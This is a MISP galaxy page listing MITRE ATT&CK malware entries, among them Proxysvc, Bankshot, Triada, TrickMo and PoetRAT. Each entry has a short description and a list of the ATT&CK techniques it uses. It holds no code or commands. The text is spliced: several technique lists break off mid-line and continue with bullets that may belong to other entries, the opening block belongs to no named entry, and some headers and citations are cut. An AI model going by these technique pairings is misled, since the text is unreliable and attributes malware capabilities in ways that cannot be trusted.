• uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
Proxysvc - S0238

[Proxysvc](https://attack.mitre.org/software/S0238) is a malicious DLL used by [Lazarus Group](https://attack.mitre.org/groups/G0032) in a campaign known as Operation GhostSecret. It has appeared to be operating undetected since 2017 and was mostly observed in higher education organizations. The goal of [Proxysvc](https://attack.mitre.org/software/S0238) is to deliver additional payloads to the target and to maintain control for the attacker. It is in the form of a DLL that can also be executed as a standalone process. (Citation: McAfee GhostSecret)

The tag is: `misp-galaxy:mitre-malware="Proxysvc - S0238"`

Proxysvc - S0238 is also known as:

- Proxysvc

View relationships graph

Proxysvc - S0238 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Query Registry - T1012"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data Destruction - T1485"` with estimative-
• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

BrainTest - S0293

[BrainTest](https://attack.mitre.org/software/S0293) is a family of Android malware. (Citation: CheckPoint-BrainTest) (Citation: Lookout-BrainTest)

The tag is: misp-galaxy:mitre-malware="BrainTest - S0293"

View relationships graph

BrainTest - S0293 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1404" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Compromise Client Software Binary - T1645" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Generate Traffic from Victim - T1643" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
Bankshot - S0239

[Bankshot](https://attack.mitre.org/software/S0239) is a remote access tool (RAT) that was first reported by the Department of Homeland Security in December of 2017. In 2018, [Lazarus Group](https://attack.mitre.org/groups/G0032) used the [Bankshot](https://attack.mitre.org/software/S0239) implant in attacks against the Turkish financial sector. (Citation: McAfee Bankshot)

The tag is: `misp-galaxy:mitre-malware="Bankshot - S0239"`

Bankshot - S0239 is also known as:

- Bankshot
- Trojan Manuscript

View relationships graph

Bankshot - S0239 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Local Account - T1087.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Protocol Impersonation - T1001.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Non-Standard Encoding - T1132.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6984. Table References

Links

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0239">https://attack.mitre.org/software/S0239</a></td>
</tr>
</tbody>
</table>

**Tangelo - S0329**

[Tangelo](https://attack.mitre.org/software/S0329) is iOS malware that is believed to be from the same developers as the [Stealth Mango](https://attack.mitre.org/software/S0328) Android malware. It is not a mobile application, but rather a Debian package that can only run on jailbroken iOS devices. (Citation: Lookout-StealthMango)

The tag is: *misp-galaxy:mitre-malware="Tangelo - S0329"

Tangelo - S0329 is also known as:

• Tangelo

View relationships graph
Tangelo - S0329 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"

Table 6985. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0329">https://attack.mitre.org/software/S0329</a></td>
</tr>
</tbody>
</table>

**VBShower - S0442**

[VBShower](https://attack.mitre.org/software/S0442) is a backdoor that has been used by [Inception](https://attack.mitre.org/groups/G0100) since at least 2019. [VBShower](https://attack.mitre.org/software/S0442) has been used as a downloader for second stage payloads, including [PowerShower](https://attack.mitre.org/software/S0441). (Citation: Kaspersky Cloud Atlas August 2019)

The tag is: *misp-galaxy:mitre-malware="VBShower - S0442"*

VBShower - S0442 is also known as:

- VBShower

View relationships graph

VBShower - S0442 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-
**Comnie - S0244**

[Comnie](https://attack.mitre.org/software/S0244) is a remote backdoor which has been used in attacks in East Asia. (Citation: Palo Alto Comnie)

The tag is: `misp-galaxy:mitre-malware="Comnie - S0244"`

Comnie - S0244 is also known as:

- Comnie

**View relationships graph**

Comnie - S0244 has relationships with:


- `uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"


- `uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

Table 6987. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0244">https://attack.mitre.org/software/S0244</a></td>
</tr>
</tbody>
</table>

**Triada - S0424**

[Triada](https://attack.mitre.org/software/S0424) was first reported in 2016 as a second stage malware. Later versions in 2019 appeared with new techniques and as an initial downloader of other Trojan apps. (Citation: Kaspersky Triada March 2016)

The tag is: misp-galaxy:mitre-malware="Triada - S0424"

Triada - S0424 is also known as:

• Triada

View relationships graph

Triada - S0424 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1418" with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Ptrace System Calls - T1631.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1646" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Compromise Software Supply Chain - T1474.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Generate Traffic from Victim - T1643" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1532" with estimative-language:likelihood-probability="almost-certain"

Table 6988. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0424">https://attack.mitre.org/software/S0424</a></td>
</tr>
<tr>
<td><a href="https://www.kaspersky.com/blog/triada-trojan/11481/">https://www.kaspersky.com/blog/triada-trojan/11481/</a></td>
</tr>
</tbody>
</table>

**BADCALL - S0245**

[BADCALL](https://attack.mitre.org/software/S0245) is a Trojan malware variant used by the group [Lazarus Group](https://attack.mitre.org/groups/G0032). (Citation: US-CERT BADCALL)

The tag is: *misp-galaxy:mitre-malware="BADCALL - S0245"*

BADCALL - S0245 is also known as:

• BADCALL

View relationships graph

BADCALL - S0245 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Protocol Impersonation - T1001.003" with estimative-language:likelihood-probability="almost-certain"

Table 6989. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0245">https://attack.mitre.org/software/S0245</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF">https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF</a></td>
</tr>
</tbody>
</table>

PLAINTEE - S0254

[PLAINTEE](https://attack.mitre.org/software/S0254) is a malware sample that has been used by [Rancor](https://attack.mitre.org/groups/G0075) in targeted attacks in Singapore and Cambodia. (Citation: Rancor Unit42 June 2018)

The tag is: `misp-galaxy:mitre-malware="PLAINTEE - S0254"`

PLAINTEE - S0254 is also known as:

- PLAINTEE

View relationships graph

PLAINTEE - S0254 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6990. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0254">https://attack.mitre.org/software/S0254</a></td>
</tr>
</tbody>
</table>

**USBferry - S0452**

[USBferry](https://attack.mitre.org/software/S0452) is an information stealing malware and has been used by [Tropic Trooper](https://attack.mitre.org/groups/G0081) in targeted attacks against Taiwanese and Philippine air-gapped military environments. [USBferry](https://attack.mitre.org/software/S0452) shares an overlapping codebase with [YAHOOYAH](https://attack.mitre.org/software/S0388), though it has several features which makes it a distinct piece of malware.(Citation: TrendMicro Tropic Trooper May 2020)

The tag is: *misp-galaxy:mitre-malware="USBferry - S0452"*

USBferry - S0452 is also known as:

• USBferry

View relationships graph

USBferry - S0452 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with
CARROTBAT - S0462

[CARROTBAT](https://attack.mitre.org/software/S0462) is a customized dropper that has been in use since at least 2017. [CARROTBAT](https://attack.mitre.org/software/S0462) has been used to install [SYSCON](https://attack.mitre.org/software/S0464) and has infrastructure overlap with [KONNI](https://attack.mitre.org/software/S0356). (Citation: Unit 42 CARROTBAT November 2018) (Citation: Unit 42 CARROTBAT January 2020)

The tag is: `misp-galaxy:mitre-malware="CARROTBAT - S0462"`

CARROTBAT - S0462 is also known as:

- CARROTBAT

View relationships graph

CARROTBAT - S0462 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
**HARDRAIN - S0246**

[HARDRAIN](https://attack.mitre.org/software/S0246) is a Trojan malware variant reportedly used by the North Korean government. (Citation: US-CERT HARDRAIN March 2018)

The tag is: `misp-galaxy:mitre-malware="HARDRAIN - S0246"`

HARDRAIN - S0246 is also known as:

- HARDRAIN

View relationships graph

HARDRAIN - S0246 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004"` with estimative-language:likelihood-probability="almost-certain"


**BADFLICK - S0642**

[BADFLICK](https://attack.mitre.org/software/S0642) is a backdoor used by [Leviathan](https://attack.mitre.org/groups/G0065) in spearphishing campaigns first reported in 2018 that targeted the U.S. engineering and maritime industries. (Citation: FireEye Periscope March
BADFLICK - S0642 is also known as:

- BADFLICK

View relationships graph

BADFLICK - S0642 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

---

**OopsIE - S0264**

[OopsIE](https://attack.mitre.org/software/S0264) is a Trojan used by [OilRig](https://attack.mitre.org/groups/G0049) to remotely execute commands as well as...
upload/download files to/from victims. (Citation: Unit 42 OopsIE! Feb 2018)

The tag is: misp-galaxy:mitre-malware="OopsIE - S0264"

OopsIE - S0264 is also known as:

- OopsIE

View relationships graph

OopsIE - S0264 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 6995. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0264">https://attack.mitre.org/software/S0264</a></td>
</tr>
</tbody>
</table>

Ecipekac - S0624

[Ecipekac](https://attack.mitre.org/software/S0624) is a multi-layer loader that has been used by [menuPass](https://attack.mitre.org/groups/G0045) since at least 2019 including use as a loader for [P8RAT](https://attack.mitre.org/software/S0626), [SodaMaster](https://attack.mitre.org/software/S0627), and [FYAnti](https://attack.mitre.org/software/S0628).[Citation: Securelist APT10 March 2021]

The tag is: misp-galaxy:mitre-malware="Ecipekac - S0624"

Ecipekac - S0624 is also known as:

• Ecipekac
• HEAVYHAND
• SigLoader
• DESLoader

View relationships graph

Ecipekac - S0624 has relationships with:


• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-
NavRAT - S0247

[NavRAT](https://attack.mitre.org/software/S0247) is a remote access tool designed to upload, download, and execute files. It has been observed in attacks targeting South Korea. (Citation: Talos NavRAT May 2018)

The tag is: `misp-galaxy:mitre-malware="NavRAT - S0247"`

NavRAT - S0247 is also known as:

- NavRAT

View relationships graph

NavRAT - S0247 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001"` with estimative-language:likelihood-probability="almost-certain"


- uses: `misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"` with estimative-language:likelihood-probability="almost-certain"


- uses: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"
Calisto - S0274

[Calisto](https://attack.mitre.org/software/S0274) is a macOS Trojan that opens a backdoor on the compromised machine. [Calisto](https://attack.mitre.org/software/S0274) is believed to have first been developed in 2016. (Citation: Securelist Calisto July 2018) (Citation: Symantec Calisto July 2018)

The tag is: `misp-galaxy:mitre-malware="Calisto - S0274"`

Calisto - S0274 is also known as:

- Calisto

View relationships graph

Calisto - S0274 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Keychain - T1555.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Browser Information Discovery - T1217"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Local Account - T1136.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Launchctl - T1569.001"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1543.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

Table 6998. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0274">https://attack.mitre.org/software/S0274</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/calisto-trojan-for-macos/86543/">https://securelist.com/calisto-trojan-for-macos/86543/</a></td>
</tr>
</tbody>
</table>

**TrickMo - S0427**

[TrickMo](https://attack.mitre.org/software/S0427) a 2FA bypass mobile banking trojan, most likely being distributed by [TrickBot](https://attack.mitre.org/software/S0266). [TrickMo](https://attack.mitre.org/software/S0427) has been primarily targeting users located in Germany.(Citation: SecurityIntelligence TrickMo)

[TrickMo](https://attack.mitre.org/software/S0427) is designed to steal transaction authorization numbers (TANs), which are typically used as one-time passwords.(Citation: SecurityIntelligence TrickMo)

The tag is: *misp-galaxy:mitre-malware="TrickMo - S0427"*

TrickMo - S0427 is also known as:

• TrickMo

View relationships graph

TrickMo - S0427 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Uninstall Malicious Application - T1630.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1437.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Broadcast Receivers - T1624.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Checks - T1633.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Device Lockout - T1629.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SMS Control - T1582" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Input Injection - T1516" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Out of Band Data - T1644" with estimative-language:likelihood-probability="almost-certain"

Table 6999. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0427">https://attack.mitre.org/software/S0427</a></td>
</tr>
<tr>
<td><a href="https://securityintelligence.com/posts/trickbot">https://securityintelligence.com/posts/trickbot</a> Pushing a 2FA Bypass App to Bank Customers in Germany</td>
</tr>
</tbody>
</table>

**down_new - S0472**

[down_new](https://attack.mitre.org/software/S0472) is a downloader that has been used by [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) since at least 2019.(Citation: Trend Micro Tick November 2019)

The tag is: `misp-galaxy:mitre-malware="down_new - S0472"`

down_new - S0472 is also known as:

- down_new

View relationships graph
down_new - S0472 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 7000. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0472">https://attack.mitre.org/software/S0472</a></td>
</tr>
</tbody>
</table>

PoetRAT - S0428

[PoetRAT](https://attack.mitre.org/software/S0428) is a remote access trojan (RAT) that was first identified in April 2020. [PoetRAT](https://attack.mitre.org/software/S0428) has been used in multiple campaigns against the private and public sectors in Azerbaijan, including ICS and SCADA systems in the energy sector. The STIBNITE activity group has been observed using the malware. [PoetRAT](https://attack.mitre.org/software/S0428) derived its name from references in the code to poet William Shakespeare. (Citation: Talos PoetRAT April 2020)(Citation: Talos PoetRAT October 2020)(Citation: Dragos Threat Report 2020)

The tag is: *misp-galaxy:mitre-malware="PoetRAT - S0428"*

PoetRAT - S0428 is also known as:

- PoetRAT
PoetRAT - S0428 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
